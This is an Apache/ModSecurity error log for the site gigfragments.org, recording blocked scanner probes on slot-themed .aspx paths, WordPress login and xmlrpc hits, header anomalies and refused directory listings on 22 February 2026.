[Sun Feb 22 02:20:49.204211 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:54898] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZn3gQ28anZ1nWyZCI5OfQAAAFc"]
[Sun Feb 22 02:20:51.224849 2026] [:error] [pid 3179:tid 3430] [client 51.83.237.175:54914] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZn3g9gAWCcL8bTGJUU2kQAAABI"]
[Sun Feb 22 02:20:53.109048 2026] [:error] [pid 4789:tid 4813] [client 51.83.237.175:54922] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZn3ha9_231lp37V1xxgcwAAARY"]
[Sun Feb 22 02:21:28.409135 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:54930] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZn3qA28anZ1nWyZCI5OugAAAFc"]
[Sun Feb 22 02:21:30.388308 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:36852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZn3qg28anZ1nWyZCI5OvQAAAEs"]
[Sun Feb 22 02:21:32.446963 2026] [:error] [pid 3179:tid 3413] [client 51.83.237.175:36868] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZn3rNgAWCcL8bTGJUU2uwAAAAE"]
[Sun Feb 22 02:21:34.446093 2026] [:error] [pid 3204:tid 3490] [client 51.83.237.175:36876] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZn3rnAwnUMG8727rz4h9gAAAJg"]
[Sun Feb 22 02:21:36.314428 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:36878] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZn3sK9_231lp37V1xxgzAAAARI"]
[Sun Feb 22 02:21:38.360046 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:44016] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZn3sq9_231lp37V1xxg0QAAAQc"]
[Sun Feb 22 02:21:40.363945 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:44032] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZn3tK9_231lp37V1xxg4gAAARQ"]
[Sun Feb 22 02:21:42.361135 2026] [:error] [pid 3179:tid 3421] [client 51.83.237.175:44044] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZn3ttgAWCcL8bTGJUU2xQAAAAk"]
[Sun Feb 22 02:21:44.386722 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:44050] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZn3uEtaWLejEJFWY3FKegAAAM4"]
[Sun Feb 22 02:21:46.391784 2026] [:error] [pid 3204:tid 3474] [client 51.83.237.175:44058] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZn3unAwnUMG8727rz4iDAAAAIg"]
[Sun Feb 22 02:21:48.277356 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:55086] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZn3vK9_231lp37V1xxhBgAAARI"]
[Sun Feb 22 02:21:50.272612 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:55088] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZn3vtgAWCcL8bTGJUU21AAAABU"]
[Sun Feb 22 02:21:52.304486 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:55098] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZn3wA28anZ1nWyZCI5O4QAAAFc"]
[Sun Feb 22 02:21:54.303091 2026] [:error] [pid 3516:tid 3521] [client 51.83.237.175:55102] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZn3wktaWLejEJFWY3FKkwAAAMI"]
[Sun Feb 22 02:21:56.300258 2026] [:error] [pid 3179:tid 3428] [client 51.83.237.175:55108] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZn3xNgAWCcL8bTGJUU23wAAABA"]
[Sun Feb 22 02:21:58.313227 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:57790] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZn3xq9_231lp37V1xxhHAAAARI"]
[Sun Feb 22 02:22:00.328826 2026] [:error] [pid 3204:tid 3489] [client 51.83.237.175:57800] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZn3yHAwnUMG8727rz4iIQAAAJc"]
[Sun Feb 22 02:22:02.330790 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:57810] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZn3yktaWLejEJFWY3FKqgAAAM4"]
[Sun Feb 22 02:22:04.348990 2026] [:error] [pid 4789:tid 4813] [client 51.83.237.175:57816] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZn3zK9_231lp37V1xxhIwAAARY"]
[Sun Feb 22 02:22:06.364697 2026] [:error] [pid 3516:tid 3529] [client 51.83.237.175:57828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZn3zktaWLejEJFWY3FKsQAAAMo"]
[Sun Feb 22 02:22:08.367581 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:40054] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZn30NgAWCcL8bTGJUU3CQAAABU"]
[Sun Feb 22 02:22:10.229496 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:40056] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZn30q9_231lp37V1xxhMAAAARQ"]
[Sun Feb 22 02:22:12.223936 2026] [:error] [pid 3179:tid 3424] [client 51.83.237.175:40064] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZn31NgAWCcL8bTGJUU3GAAAAAw"]
[Sun Feb 22 02:22:14.226277 2026] [:error] [pid 3179:tid 3416] [client 51.83.237.175:40068] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZn31tgAWCcL8bTGJUU3GgAAAAQ"]
[Sun Feb 22 02:22:16.250083 2026] [:error] [pid 3195:tid 3455] [client 51.83.237.175:40070] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZn32A28anZ1nWyZCI5PAwAAAFA"]
[Sun Feb 22 02:22:18.261927 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:45206] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZn32q9_231lp37V1xxhWgAAAQg"]
[Sun Feb 22 02:22:20.296209 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:45212] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZn33NgAWCcL8bTGJUU3HwAAABY"]
[Sun Feb 22 02:22:22.306197 2026] [:error] [pid 3204:tid 3487] [client 51.83.237.175:45216] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZn33nAwnUMG8727rz4iRQAAAJU"]
[Sun Feb 22 02:22:24.300294 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:45230] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZn34EtaWLejEJFWY3FKyQAAAM0"]
[Sun Feb 22 02:48:21.126928 2026] [:error] [pid 3204:tid 3484] [client 43.157.82.252:40674] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZn99XAwnUMG8727rz4qqQAAAJI"]
[Sun Feb 22 04:51:19.025877 2026] [:error] [pid 9588:tid 9634] [client 43.130.14.245:41216] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZoax2jNBsxseiTcEllTwgAAAEo"]
[Sun Feb 22 05:28:26.729173 2026] [:error] [pid 10537:tid 10555] [client 216.73.216.107:11426] [client 216.73.216.107] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZojergCiSojLQQBckjwCAAAARA"]
[Sun Feb 22 08:28:29.249071 2026] [:error] [pid 9695:tid 9706] [client 124.217.50.81:42882] [client 124.217.50.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.50.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZpNrVpPqolBNLmJ4eqFOAAAAMk"]
[Sun Feb 22 08:29:46.207657 2026] [:error] [pid 9587:tid 9605] [client 124.217.50.81:43231] [client 124.217.50.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.50.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZpN-uhqt7NXCp-NupEsWAAAAAk"]
[Sun Feb 22 08:30:49.067467 2026] [:error] [pid 9587:tid 9599] [client 124.217.50.81:43548] [client 124.217.50.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.50.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZpOOehqt7NXCp-NupEssgAAAAM"]
[Sun Feb 22 08:31:52.377176 2026] [:error] [pid 9589:tid 9655] [client 124.217.50.81:43837] [client 124.217.50.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.50.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZpOeNr-1mylR_FoXQVohwAAAIQ"]
[Sun Feb 22 08:32:55.670931 2026] [:error] [pid 9588:tid 9625] [client 124.217.50.81:44169] [client 124.217.50.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.50.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZpOt2jNBsxseiTcElmkbwAAAEE"]
[Sun Feb 22 09:47:13.083577 2026] [autoindex:error] [pid 9587:tid 9602] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:13.104595 2026] [autoindex:error] [pid 9587:tid 9617] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:13.127657 2026] [autoindex:error] [pid 9587:tid 9612] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:13.150449 2026] [autoindex:error] [pid 9587:tid 9610] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:13.174025 2026] [autoindex:error] [pid 9587:tid 9615] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:13.194737 2026] [autoindex:error] [pid 9587:tid 9600] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:13.215909 2026] [autoindex:error] [pid 9587:tid 9613] [client 4.196.161.14:17097] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 22 09:47:14.485536 2026] [:error] [pid 9587:tid 9611] [client 4.196.161.14:17097] [client 4.196.161.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aZpgIuhqt7NXCp-NupFI6gAAAA8"]
[Sun Feb 22 09:47:14.561636 2026] [:error] [pid 10537:tid 10549] [client 4.196.161.14:17103] [client 4.196.161.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aZpgIrgCiSojLQQBckhd_AAAAQo"]
[Sun Feb 22 09:47:14.658804 2026] [:error] [pid 12501:tid 12518] [client 4.196.161.14:5058] [client 4.196.161.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aZpgIpicztrbvinWGXMtigAAAU8"]
[Sun Feb 22 09:47:14.721560 2026] [:error] [pid 10537:tid 10561] [client 4.196.161.14:17090] [client 4.196.161.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aZpgIrgCiSojLQQBckhd_QAAARY"]
[Sun Feb 22 12:55:26.681636 2026] [:error] [pid 9589:tid 9660] [client 43.135.185.59:37292] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZqMPtr-1mylR_FoXQXFsgAAAIk"]
[Sun Feb 22 16:10:14.670065 2026] [:error] [pid 10537:tid 10562] [client 178.20.42.24:55296] [client 178.20.42.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.20.42.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZq55rgCiSojLQQBckjAzwAAARc"]
[Sun Feb 22 16:10:17.070485 2026] [:error] [pid 12501:tid 12504] [client 178.20.42.24:55378] [client 178.20.42.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.20.42.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZq56ZicztrbvinWGXOnGAAAAUE"]
[Sun Feb 22 16:10:19.456630 2026] [:error] [pid 9695:tid 9701] [client 178.20.42.24:55493] [client 178.20.42.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.20.42.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZq561pPqolBNLmJ4eoVaQAAAMQ"]
